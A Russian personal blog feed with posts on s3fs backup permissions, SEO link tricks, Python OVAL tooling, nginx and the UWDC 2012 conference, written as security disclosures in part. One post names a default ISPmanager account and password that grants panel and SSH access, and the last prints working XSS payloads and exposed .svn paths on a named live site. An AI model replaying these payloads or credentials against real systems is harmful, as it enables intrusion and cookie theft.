Бэкапы на Amazon s3fs права доступа при подключении диска

К примеру в статье habrahabr.ru/post/111555/ используется строчка подключения диска
s3fs your-bucket-name /mnt/backup -o allow_other,retries=10,connect_timeout=30,readwrite_timeo


Если примонтировать S3 под root то к разделу /mnt/backup будут иметь доступ пользователи сервера в том числе и через PHP скрипты(или запущенные шеллы Perl, C).

Таким образом пользователи или какой-нибудь сайт на WordPress может послужить огромной опасностью.

Правильно:
Параметр Если без параметра allow_other примонтировать S3 диск, то доступ к диску будет возможен только тому пользователю кто его примонтировал.

Соответственно и бекапы надо делать под пользователем под которым подключили диск.
У меня OS Debian 5 + ISPmanager

Проверьте пожалуйста и у вас доступен ли каталог Amazon для простых пользователей.
А то получается что простые пользователи могут уничтожить все бекапы и вы останетесь без них.

PS:
При присутствующем параметре allow_other — установка UNIX прав 0600 на фаилы и каталоги не действуют.
Монтирование диска с параметрами RW, UID=, GID= тоже недействуют.
s3fs your-bucket-name /mnt/backup -o retries=10,connect_timeout=30,readwrite_timeout=30,uid=0,gid=0


PS:
данная ошибка будет возникать если вы пытаетесь примонтировать диск не под пользователем которому разрешено читать /etc/passwd-s3fs
s3fs: could not determine how to establish security credentials

Sape.ru обман отображения ссылок вебмастерами

Покупаем ссылки на сапе. Вебмастер их размещает. Деньги ему идут. Sape ссылку видит.


Заходим к примеру через Sape чтобы посмотреть на ссылку на сайте:
http://123sdfsdfsdfsd.ru/r.html?r=http%3A%2F%2Fwww.kitophone.ru%2Fcategory%2F%25d0%25bf%25d1%2580%25d0%25be%25d1%2588%25d0%25b8%25d0%25b2%25d0%25ba%25d0%25b8-%25d0%25b8-%25d1%2582-%25d0%25b4


Сайт ставит по Refferer нам Cookies — что надо отображать ссылку Sape. т.к. мы зашли с Sape и являемся скорее всего владельцами разместившими ссылку.

Нам отображают что ссылка имеется:


Вот устанавливаемая Cookies


Но в других браузерах зайдя на сайт напрямую без Sape и без Cookies, нам не отображают ссылку:


Соответственно страница в яндексе является проиндексированной:


а ссылка на этой странице непроиндексированная:


Ну и конечно же они отдают ссылки ботам Sape скорее всего определяя их или по User-Agent, но я бы их по принадлежности IP-адреса определял(так надежнее).

Реализация инструментов для создания контента OVAL на Python

Данный модуль позволяет выполнять сборку секьюрити-контента и «упаковку» его в базу данных с контролем версий и уникальности идентификаторов.

В процессе исследования языка OVAL, про который написано ранее в одной из статей, и концепции SCAP-сканера мы столкнулись с довольно серьезной проблемой, а именно с отсутствием удобных инструментов для создания контента на языке OVAL. Нет, мы не утверждаем, что нет совсем ничего. Есть небольшой набор утилит, представленных на официальном сайте. Большая часть из них платная, остальные же представляют собой не очень удобные решения, больше всего похожие на XML-Notepad. В итоге мы решили создать небольшой необходимый для работы инструмент самостоятельно, используя в качестве языка Python

Такой выбор обусловлен хорошей репутацией языка Python как «rapid development language» и наличием богатой палитры сторонних библиотек. Вооружившись документацией по языку, попытались воссоздать задумки MITRE в реальности. Конечной целью поставили реализацию объектов языка OVAL и системы их хранения и индексации.

Первоочередным вопросом был выбор способа хранения собранной информации. Первым (и неудачным) решением стал SQLite 3. Не будем особо задерживаться на этом печальном опыте, но как показала практика, — хранение непредсказуемого дерева в реляционной базе данных слишком сложная задача. Поэтому мы обратили внимание на базы данных NoSQL. Так как планировалось ограничиться монопольным использованием базы, выбор пал на ZoDB. Конечно же, это решение тоже было поспешным. Но переделывать на MongoDB было уже поздно. Так что для дальнейших выкладок кода хотелось бы отметить, что PersistentMapping() — это, по сути, обычный dict(). Приняв во внимание неопределенность восприятия хэшмапов базой данных, в качестве хэшмапов использовались ключи того же класса. PersistentList() — это эквивалент list(). Данная замена необходима для хранения подобных структур в ZoDB. Это обусловлено внутренней логикой работы базы данных. Для сохранения класса в базе данных целиком необходимо, чтобы класс являлся наследником класса persistent.Persistent.

Кроме того, просим заранее простить нас за нешаблонное именование переменных, методов и классов и возможную «косорукость»: я не волшебник, я только учусь. И с удовольствием примем любые правки и замечания от более осведомленных коллег.

Во избежание цитирования излишне больших кусков кода сразу приведем ссылку на исходник на code.google.com.

В целом при анализе структур языка OVAL мы отметили, что его главной особенностью является расширяемость. Если необходимо ввести собственную структуру, достаточно описать ее в XSD, определяющим ваш namespace. Поскольку структуры в большинстве своем представляют типовые наборы данных, то мы решили создать выделенный класс для каждого объекта языка. Основная цель такой реализации — создание контейнера для информации, который будет удобно закладывать в БД. Таким образом, в качестве базового объекта выступил элемент OBJECT:

# UNIVERSAL OVAL OBJECTS
class oval_object(persistent.Persistent):
     def __init__(self):
         self.id = str()
         self.tag = "object"
         self.namespace = str()
         self.oval = str()
         self.version = 0
         self.vHash = 0
         self.deprecated = False
         self.variables = PersistentList()
         self.notes = PersistentList()
         self.comment = str()
         self.signature = str()

     def assign_id(self, UniqId):
         self.id = "oval:"+self.oval+":obj:"+str(UniqId)

     def hash(self):
         summ_hash = 0
         summ_hash += hash(self.tag)
         summ_hash += hash(self.namespace)
         summ_hash += hash(self.comment)
         for var in self.variables:
             if isinstance(var, variable):
                 summ_hash += var.hashme()
             else:
                 raise Exception("Error input parameters in object variables")
         return summ_hash

     def hashme(self):
         self.vHash = self.hash()
         return self.vHash

     def clearme(self):
         hashmap = PersistentMapping()
         for var in self.variables:
             var.clearme()
             var_hash = var.hashme()
             if var_hash not in hashmap.keys():
                 hashmap[var_hash] = None
             else:
                 self.variables.remove(var)


Данный класс является базовым для всех основных элементов OVAL.Definition, Test, State и Oval_variable будут являться наследниками этого класса. Для того, чтобы реализовать возможность сравнения элементов, были созданы методы hash() (универсальный для всех) и hashme()(переопределяемый у потомков).

Как видно из названий переменных, все основные структуры заданы статически. Динамическими же являются возможные «потомки», структуры которых мы не знаем. Для реализации таких «потомков» был сделал класс Variable, во многом повторяющий по идеологии Element из ElementTree:

class variable(persistent.Persistent):
     def __init__(self, tag=str(), body = str(), attributes = None, variables = None):
         if not attributes:
             self.attributes = PersistentMapping()
         if not variables:
             self.variables = PersistentList()
         if attributes and not isinstance(attributes, PersistentMapping):
             attributes = PersistentMapping(attributes)
         if variables and not isinstance(variables, PersistentList):
             variables = PersistentList(variables)
         self.tag = tag
         self.body = body
         if attributes:
             self.attributes = attributes
         if variables:
             self.variables = variables
         self.vHash = 0

     def clearme(self):
         hashmap = PersistentMapping()
         for var in self.variables:
             var.clearme()
             var_hash = var.hashme()
             if var_hash not in hashmap.keys():
                 hashmap[var_hash] = None
             else:
                 self.variables.remove(var)

     def hashme(self):
         summ_hash = 0
         summ_hash += hash(self.tag)
         summ_hash += hash(self.body)
         if self.attributes:
             for attribute in self.attributes.keys():
                 summ_hash += hash(attribute) + hash(self.attributes[attribute])
         if self.variables:
             for var in self.variables:
                 if isinstance(var, variable):
                     if var != self:
                         summ_hash += var.hashme()
                 else:
                     raise Exception("Error input parameters in variables. Self append ?")
         self.vHash = summ_hash
         return self.vHash


Как и в случае с OBJECT, потребовалась функция расчета хэша. Структура класса максимально подогнана к ElementTree.Element, чтобы упростить в будущем выгрузку базы данных в XML-формат.

В целом получился набор объектов, удобных для заполнения. Но мало их заполнить: при создании собственных объектов необходимо выполнять требования регулятора (в нашем случае MITRE) к заполнению и хранению новых Definition. Соответственно, мне потребовалась система индексации и контроля изменения версии Definition. Для этого был создан класс oval_suite(). В нем реализован базовый набор методов (put, get, delete, search, import_xml, export_xml), который облегчает работу с контентом и позволяет не заморачиваться на вышеупомянутых проблемах.

Одна из специфичных проблем, с которыми столкнулись в процессе создания oval_suite(),- нехватка памяти при попытке экспортировать в XML-формат большой объем данных (порядка 100Мб) за один заход. Поэтому для реализации этой функции пришлось создавать конечный файл поэтапно и использовать функцию удаления элементов ElementTree.Element, позаимствованную из StackOverflow:

def _garbager(self, root):
         for element in list(root):
             self._garbager(element)
         root.clear()
         del root


целом и общем, получились наброски инструментария для работы с OVAL на Python, который может пригодиться при сборке и создании секьюрити-контента. Данный модуль позволяет выполнять сборку секьюрити-контента и «упаковку» его в базу данных с контролем версий и уникальности идентификаторов.

Спасибо за внимание! Надеемся, кто-нибудь заинтересуется тематикой OVAL и данные наработки окажутся ему полезны.

www.securitylab.ru/analytics/421823.php

ISPmanager - дефолтные пароли на пользователе mgrtest

Устанавливаем Ruby on Rails в панели управления ISPmanager.

ISPmanager Устанавливаем Ruby on Rails
Увеличить

ISPmanager пользователь mgrtest
Увеличить
После установки Ruby on Rails
В пользователях у нас появляется пользователь mgrtest с паролем mgrtest

ISPmanager панель управления
Увеличить
Благодаря этому пользователю mgrtest:mgrtest можем заходить в панель управления ISPmanager.

ISPmanager SSH mgrtest
Увеличить
А также по SSH коннектиться. И смотреть /etc/passwd, запущенные процессы, пользователей в системе, ключ SSL-сертификата в /usr/local/ispmgr/var/sslcert.tmp а также просматривать /tmp если неправильно настроен PHP open_basedir то там могут попадать конфигурационые фаилы сайтов. Вобщем делайте всё что пожелаете. )))

Решения:
1. Если только закрыть SSH:22 порт и разрешить доступ только для проверенных адресов, то скорее всего попытаются попасть на ваш сервер таки образом https://IP-servera/manager/ispmgr
2. Я сделал так: Оставить пользователя в системе. Но деактивировать его в ISPmanager как неактивного пользователя. неактивный пользователь
Какие нибудь последствия могут быть потом. Но думаю из можно решать активируя пользователя. т.е. данное решение не для массового использования. Возможно у пользователей не будут создаваться Rails проекты.

Разработчики ISPManager.com предупреждены и запрос передан в отдел «Technical ISPsystem».

Nginx keepalive_timeout 0; зло?

После установки keepalive_timeout 0; этого значения, картинки как большие так и болеее менее 600 кб штука стали отдаваться с 503 ошибкой.

www.webpagetest.org/result/120227_C5_3CKR8/1/details/ результаты тестов.
Картинки с UWDC отдавались по 3-4 штуки, остальные с 503 ошибкой, за что стыдно.

www.webpagetest.org/result/120227_44_3CMBF/ тесты с keepalive_timeout 65;
Пусть он и закрывает порт после отдачи, но он может закрывать порт и неотдав ничего в замен. Что вызывало 503.

UWDC 2012 конференция уральских веб-разработчиков - Как я побывал. День второй.

UWDC 2012 конференция уральских веб-разработчиков — Как я побывал. День второй.


Второй день обещал быть лучше. И я решил всё-таки пойти про стартапы послушать. Но надо было идти на DDoS и Django. А зря пошел на стартапы…

UWDC
Увеличить
Дмитрий Калаев (RedButton Capital) Что происходит со стартапами в России и в мире

Была простая аналитика которую могли бы и сами почитать в интернете. Матерьяла в интернете достаточно. Было скучно и весь зал ждал из вежливости когда же кто-нить другой придет.
На вопросы отвечали странно )))
«Вы откудова?» — с Екатеринбурга.
«Сколько у вас денег в фонде?» — 14 миллионов $ и планируем их потратить за 10 лет (((.
«Сколько вы уже инвестировали проектов?» — ни одного, мы всего 3 месяца работаем (((( ну мы немного с челябинским проектом какие-то переговоры ведем.

Конечно я не ручаюсь что правильно тут написал, надо будет записи пересмотреть.
Но мнение моё не самое лучшее.

UWDC Леонид Волков
Увеличить
Леонид Волков («Прожектор») Создание стартапов с ноля и до успеха

Пришёл Леонид Волков, и первая фраза убила всех: «Я не создал и нидовел ни одного проекта до успеха(мирового уровня)!».
Панорамный зал начал наполняться(думали что тут что-то интересное), и люди в твиттере просили поменять белый и панорамный местами. Если бы они поменяли местами, то в белом зале было народу больше чем в панорамном, и тогда бы вообще никто не влез ))))
В итоге народ послушав просто слова все разбежались, вежливости уже не хватало. И я ушел к технарям в белый зал.

UWDC Александр Макаров
Увеличить
Александр Макаров «Yii, его разработка и Yii2» и «О командной разработке и фреймворках»

Надо было его слушать, может быть что интересное услышал бы о Yii. Но слова его о переходе с 1 на 2 версию примерно такие же как у Ruby и Python: «Используйте старую версию, и не ждите новую. т.к. луче запустить проект(прототип) на старой версии и получать уже сейчас доход(инвестиции), чем ждать когда устоится архитектура нового фреймворка.»

UWDC Вадим Макеев
Увеличить
Вадим Макеев (Opera Software) «CSS-менеджмент. Пять лет спустя.» и «Пре-фиксы: зачем и как правильно»

Было интересно, особенно про префиксы. Знал что такие есть. Но я же не верстальщик. Меня и терминал в линуксе устраивает и шрифт Times New Roman. )))

UWDC Александр Сапожников
Увеличить
Александр Сапожников (отдел глобальных сетевых технологий, ЮУрГУ) Mojolicious и перловое программирование

Ждал этого выступления. Знал что в Челябинске есть компания которая делает сайты на Perl. Название компании не помню, но надеюсь что это их студенты или они сами.
Жаль, не рассказали того чего хотелось бы: Ни роутинга, модульности, совершенства над Django и Rails. Зато рассказали, что вьюхи стандартные используют и что, можно сайты делать на Perl. Новизны, и смысла перехода на Perl не вижу.

Просто так фотки....



UWDC потолок в белом зале
Увеличить
Потолок в белом зале

UWDC Седьмой зал, отель Аврора
Увеличить
Седьмой зал

UWDC Седьмой зал, отель Аврора
Увеличить
Седьмой зал

UWDC Панорамный зал, отель Аврора
Увеличить
Панорамный зал

UWDC Панорамный зал, отель Аврора
Увеличить
Панорамный зал

UWDC отель Аврора
Увеличить
отель Аврора

UWDC отель Аврора
Увеличить
отель Аврора

UWDC отель Аврора
Увеличить
отель Аврора

UWDC  Sitko Mobil
Увеличить
Sitko Mobil ))) Наверно суровое Челябинское SEO

UWDC журналисты
Увеличить
Журналисты на Пресс-конференции Сергея Белоусова

UWDC МосИгра
Увеличить
Один из столиков МосИгра.

Одну игру всё-таки я приобрел. Теперь осталось понять как в неё играть и главное найти с кем.

UWDC  МосИгра Алёна и Катя
Увеличить
МосИгра Алёна и Катя

UWDC МосИгра Маша и Алена
Увеличить
МосИгра Маша и Алёна

UWDC МосИгра Маша
Увеличить
МосИгра Маша

UWDC 2012, Андрей Бешков (Microsoft) и Бабичев Игорь
Увеличить
Андрей Бешков (Microsoft)(Security Program Manager — «Руководитель программы информационной безопасности») и Бабичев Игорь
Ради этой фотки и стоило туда съездить.

Ничего через 3 месяца будет PHDays.ru

UWDC 2012 конференция уральских веб-разработчиков - Как я побывал. День первый.

UWDC 2012 конференция уральских веб-разработчиков



Вобщето я приехал туда послушать про стартапы, завести новые знакомства и поддержать старые. А также посидеть в компании людей, кто тебя понимает с полуслова.

А еще найти себе девушку, которая если бы не понимала, то хотя бы ценила то, что я делаю в своей работе. И нашел, так хотелось пойти и поцеловать, но сдержался. И спросил только ручку, но она мне отдала и левую и правую ручку. У неё не было колечка на руке. Я был в шоке, и хотел забрать всю её целиком прямиком в ЗАГС. ;)

Ну давайте немного о конференции в виде фоток, а не Love-story:

UWDC, UWDC 2012
UWDC 2012 конференция уральских веб-разработчиков

Сама конференция началась с доклада Тимура Тазетдинова о реальных играх (об играх в альтернативной реальности (Alternate Reality Games, ARG)).

По приезду домой. Это чудесное и познавательное творение ARG я попытался воплотил в жизнь. Надпись с анекдотами и подписью «ARG где-то тут». Листок с анекдотам был повешен на лестнице. т.к. у нас почти все здание занимается IT, то для них не составит труда догадаться, что там зашифровано. И в самом начале подсказка куда идти дальше с данным ключём. А идти надо в интернет.
Там мы ищем страницу, и в контенте страницы находим еще один ключ. Который ведет обратно в коридор в реальности, где висит листок. А там ищем еще один ключ по подсказке. И попадаем на еще один не доделанный уровень… (туалет, окна и во всём здании спрятано что-то)… Эх понеслась… Dozor-real-to-0nline…

UWDC Ренат Абясов
Увеличить Ренат Абясов Seenta.ru

Один из организаторов конференции. За что спасибо ему.

UWDC Министр связи Челябинска Дмитрий Тарасов
Увеличить
Министр связи Челябинска Дмитрий Тарасов

Здесь где-то был Тимур Тазетдинов Реальные игры (ARG) — очень понравилось прям захватывающе. Но долго реализуемое, и надо так чтоб на весь мир играл и рассылать им банки с медом )))) и ключиком от Ferrary. Потом ищите Ferrary и вставляете в неё ключ. Не подошел ключь, то вы пытались угнать чужую машину! :)

UWDC Я.Субботник
Увеличить

UWDC БЭМ
Увеличить
БЭМ = Блок, Элемент, Модификатор.

Много о нем читал, но некогда было применять. Всё-такие моё дело не разработка.

UWDC Варвара Степанова
Увеличить
Варвара Степанова (Яндекс) Как использовать БЭМ! вне Яндекса

Вот это было уже интереснее на примерах, и спасибо им за плагин для джанги БЭМ.

UWDC Яндекс.Субботник
Увеличить
Яндекс.Субботник

UWDC Анастасия Вавилова
Увеличить
Настя Вавилова Яндекс.Директ. Фишки для продвинутых.

UWDC Королева Яндекс.Директ
Увеличить
Королева Яндекс.Директ ;)

UWDC Облачные сервисы повышенной доступности
Увеличить
Облачные сервисы повышенной доступности.
Николай Мациевский обещал дать через 10 дней потестить в облаке Битрикс. Думаю напишу отчет.

UWDC Алексей Абрамов
Увеличить
Николай Мациевский(слева) («Битрикс 24») Облачные сервисы повышенной доступности и Алексей Абрамов(справа) Continuous delivery

Облака конечно хорошо, но пока еще дорого.

UWDC Иван Бибилов
Увеличить
Иван Бибилов (Яндекс) Спортивные проекты Яндекса. Взгляд изнутри.

Спасибо за рассказ, много интересного было как устроено. А так же то, что всё это создается на Python+Django.

UWDC Александр Крайнов
Увеличить
Александр Крайнов (Яндекс) Кластеризация дубликатов в Яндекс.Картинках

Хорошо рассказано. Надеюсь когда-нибудь они сделают что-то как у гугла поиск по картинке и сделают сравнение картинок опенсорсным решением.
Теперь SEO-оптимизировал картинки на блоге. Посмотрим как я пойду в Яндекс.Картинках по запросу «UWDC»

UWDC Мария Першко
Увеличить
Мария Першко (Яндекс) Отмечала на второй день конференции своё день рождения.
С Днём Рождения Маша! Поздравляем!

UWDC Бабичев Игорь
Увеличить
Он на меня похож ;) У меня есть двойник!

UWDC 2012 — Как я побывал. День второй.

Конференция уральских веб-разработчиков UWDC.ru 2012

Уральская Конференция Веб-разработчиков — это ежегодно одно из самых крупных событий Урала в области интернета. Самое крупное из проводимых в Челябинске.

Начиная с февраля 2010 года, конференция собирает предствителей веб-студий, свободных профессионалов, владельцев крупных проектов и просто молодых специалистов.

Нам есть что обсудить, ведь за год в интернете происходит столько всего нового, запускаются новые проекты, появляются новые технологии, а значит новые возможности для бизнеса. Уровень сервиса постоянно растёт, и приходится ему соответствовать.

Уехал на uwdc.ru/about/idea.html

Михаил Прохоров mdp2012.ru XSS

Я уважаю этого человека и он мой авторитет, но нельзя же так сайты выпускать.
Надо заботиться о информационной безопасности чуточку.

mdp2012.ru

Server:
nginx/1.0.11
Apache/1.3.42

http://mdp2012.ru/logon.html?back=/admin/%22%3E%%3CBODY%20onload=alert(document.cookie)%3E


POST http://mdp2012.ru:80/logon.html HTTP/1.1
Content-Length: 125
Content-Type: application/x-www-form-urlencoded
Cookie: _metrika_enabled=
Host: mdp2012.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.9.168 Version/12.51
Accept: */*

action=logon&back=%22><BODY%20onload=alert(document.cookie)>&login=ignkgtnu&mode=common&passwd=acUn3t1x&remember_me=1


POST http://mdp2012.ru:80/registration.html HTTP/1.1
Content-Length: 125
Content-Type: application/x-www-form-urlencoded
Cookie: _metrika_enabled=
Host: mdp2012.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.9.168 Version/12.51
Accept: */*

action=logon&back=%22><BODY%20onload=alert(document.cookie)>&login=ignkgtnu&mode=common&passwd=acUn3t1x&remember_me=1


SVN
mdp2012.ru:80/css/.svn/entries
mdp2012.ru:80/fonts/.svn/entries
mdp2012.ru:80/i/.svn/entries
mdp2012.ru:80/js/.svn/entries
mdp2012.ru:80/js/scriptaculous/.svn/entries

На странице написано: mdp2012.ru/registration.html "Или создайте аккаунт на сайте DRINGO.RU" т.е. шаблон и CMS скорее всего с сайта dringo.ru

mdp2012.ru 217.29.51.108
zamd.ru 217.29.51.107
dringo.ru makeidea.ru 217.29.51.106

zamd.ru/ — те же самые XSS
dev.dringo.ru/

соответственно: достаем CMS с других разработок этой компании и всё становится ясно.

Вот еще zamd.ru/autohandler#raw



PS администрация сайта уведомлена.

PS-2 спасибо будет?